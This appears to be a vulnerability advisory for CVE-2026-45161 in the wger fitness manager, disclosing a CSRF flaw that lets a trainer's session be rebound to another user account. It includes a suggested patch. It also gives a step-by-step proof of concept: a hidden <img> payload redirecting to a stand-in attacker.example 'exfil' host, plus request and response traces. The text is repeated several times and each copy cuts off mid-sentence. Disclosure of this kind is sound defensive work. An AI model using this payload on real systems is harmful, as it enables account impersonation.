CVE-2026-45161

wger is a free, open-source workout and fitness manager. Prior to version 2.6, the trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account. Version 2.6 fixes the issue.

wger is a free, open-source workout and fitness manager. Prior to version 2.6, the trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account. Version 2.6 fixes the issue.

Summary

The trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.

Details

File: wger/core/views/user.py, approximately lines 161-210

# VULNERABLE - no @require_POST, no request.method == 'POST' guard
# CsrfViewMiddleware is bypassed because CSRF enforcement only applies to
# unsafe HTTP methods (POST, PUT, PATCH, DELETE)
def trainer_login(request, user_pk):
    ...
    django_login(request, user, backend='django.contrib.auth.backends.ModelBackend')
    return HttpResponseRedirect(...)

Because the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place <img src="https://wger.target/en/user/2/trainer-login"> on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes django_login() and issues a new session cookie binding the trainer to the victim user.

Playwright-verified in Chromium 147: the SameSite bypass occurs via a ?next= redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's 302 -> /user/login?next=... redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.

Affected endpoint:

• GET /en/user/<user_pk>/trainer-login -> wger.core.views.user.trainer_login

Suggested patch:

--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.views.decorators.http import require_POST
+
 @login_required()
+@require_POST
 def trainer_login(request, user_pk):
     ...
-    # Move ?next= handling to POST body - never use GET params for
-    # security-sensitive redirects
+    next_url = request.POST.get('next', reverse('core:index'))
+    if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
+        next_url = reverse('core:index')
     return HttpResponseRedirect(next_url)

Requiring POST ensures Django's CSRF middleware validates the csrfmiddlewaretoken on every impersonation request, eliminating the CSRF vector. Moving next to the POST body also removes the open-redirect surface (submitted separately).

PoC

Tested on wger/server:latest Docker image + Playwright/Chromium 147. Victim: trainer1 (gym.gym_trainer permission).

Step 1 - Attacker hosts malicious page:

<!-- evil.html -->
<img src="http://target/en/user/2/trainer-login?next=//attacker.example/exfil"
     width="1" height="1">

Step 2 - Authenticated trainer loads evil.html. Browser auto-issues:

GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
(no CSRF token required)

Step 3 - Server responds:

HTTP/1.1 302 Found
Location: //attacker.example/exfil
Set-Cookie: sessionid=[alice_session]   <- session rebound to alice

Step 4 - Confirm impersonation:

GET /api/v2/userprofile/ HTTP/1.1
Cookie: sessionid=[alice_session]

-> 200 OK: {"username":"alice",...}

Reproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own ?next= redirect chain.

Impact

An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without…

wger is a free, open-source workout and fitness manager. Prior to version 2.6, the trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account. Version 2.6 fixes the issue.

wger is a free, open-source workout and fitness manager. Prior to version 2.6, the trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account. Version 2.6 fixes the issue.

Summary

The trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.

Details

File: wger/core/views/user.py, approximately lines 161-210

# VULNERABLE - no @require_POST, no request.method == 'POST' guard
# CsrfViewMiddleware is bypassed because CSRF enforcement only applies to
# unsafe HTTP methods (POST, PUT, PATCH, DELETE)
def trainer_login(request, user_pk):
    ...
    django_login(request, user, backend='django.contrib.auth.backends.ModelBackend')
    return HttpResponseRedirect(...)

Because the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place <img src="https://wger.target/en/user/2/trainer-login"> on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes django_login() and issues a new session cookie binding the trainer to the victim user.

Playwright-verified in Chromium 147: the SameSite bypass occurs via a ?next= redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's 302 -> /user/login?next=... redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.

Affected endpoint:

• GET /en/user/<user_pk>/trainer-login -> wger.core.views.user.trainer_login

Suggested patch:

--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.views.decorators.http import require_POST
+
 @login_required()
+@require_POST
 def trainer_login(request, user_pk):
     ...
-    # Move ?next= handling to POST body - never use GET params for
-    # security-sensitive redirects
+    next_url = request.POST.get('next', reverse('core:index'))
+    if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
+        next_url = reverse('core:index')
     return HttpResponseRedirect(next_url)

Requiring POST ensures Django's CSRF middleware validates the csrfmiddlewaretoken on every impersonation request, eliminating the CSRF vector. Moving next to the POST body also removes the open-redirect surface (submitted separately).

PoC

Tested on wger/server:latest Docker image + Playwright/Chromium 147. Victim: trainer1 (gym.gym_trainer permission).

Step 1 - Attacker hosts malicious page:

<!-- evil.html -->
<img src="http://target/en/user/2/trainer-login?next=//attacker.example/exfil"
     width="1" height="1">

Step 2 - Authenticated trainer loads evil.html. Browser auto-issues:

GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
(no CSRF token required)

Step 3 - Server responds:

HTTP/1.1 302 Found
Location: //attacker.example/exfil
Set-Cookie: sessionid=[alice_session]   <- session rebound to alice

Step 4 - Confirm impersonation:

GET /api/v2/userprofile/ HTTP/1.1
Cookie: sessionid=[alice_session]

-> 200 OK: {"username":"alice",...}

Reproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own ?next= redirect chain.

Impact

An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without…

Summary

The trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.

Details

File: wger/core/views/user.py, approximately lines 161-210

# VULNERABLE - no @require_POST, no request.method == 'POST' guard
# CsrfViewMiddleware is bypassed because CSRF enforcement only applies to
# unsafe HTTP methods (POST, PUT, PATCH, DELETE)
def trainer_login(request, user_pk):
    ...
    django_login(request, user, backend='django.contrib.auth.backends.ModelBackend')
    return HttpResponseRedirect(...)

Because the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place <img src="https://wger.target/en/user/2/trainer-login"> on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes django_login() and issues a new session cookie binding the trainer to the victim user.

Playwright-verified in Chromium 147: the SameSite bypass occurs via a ?next= redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's 302 -> /user/login?next=... redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.

Affected endpoint:

• GET /en/user/<user_pk>/trainer-login -> wger.core.views.user.trainer_login

Suggested patch:

--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.views.decorators.http import require_POST
+
 @login_required()
+@require_POST
 def trainer_login(request, user_pk):
     ...
-    # Move ?next= handling to POST body - never use GET params for
-    # security-sensitive redirects
+    next_url = request.POST.get('next', reverse('core:index'))
+    if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
+        next_url = reverse('core:index')
     return HttpResponseRedirect(next_url)

Requiring POST ensures Django's CSRF middleware validates the csrfmiddlewaretoken on every impersonation request, eliminating the CSRF vector. Moving next to the POST body also removes the open-redirect surface (submitted separately).

PoC

Tested on wger/server:latest Docker image + Playwright/Chromium 147. Victim: trainer1 (gym.gym_trainer permission).

Step 1 - Attacker hosts malicious page:

<!-- evil.html -->
<img src="http://target/en/user/2/trainer-login?next=//attacker.example/exfil"
     width="1" height="1">

Step 2 - Authenticated trainer loads evil.html. Browser auto-issues:

GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
(no CSRF token required)

Step 3 - Server responds:

HTTP/1.1 302 Found
Location: //attacker.example/exfil
Set-Cookie: sessionid=[alice_session]   <- session rebound to alice

Step 4 - Confirm impersonation:

GET /api/v2/userprofile/ HTTP/1.1
Cookie: sessionid=[alice_session]

-> 200 OK: {"username":"alice",...}

Reproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own ?next= redirect chain.

Impact

An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without…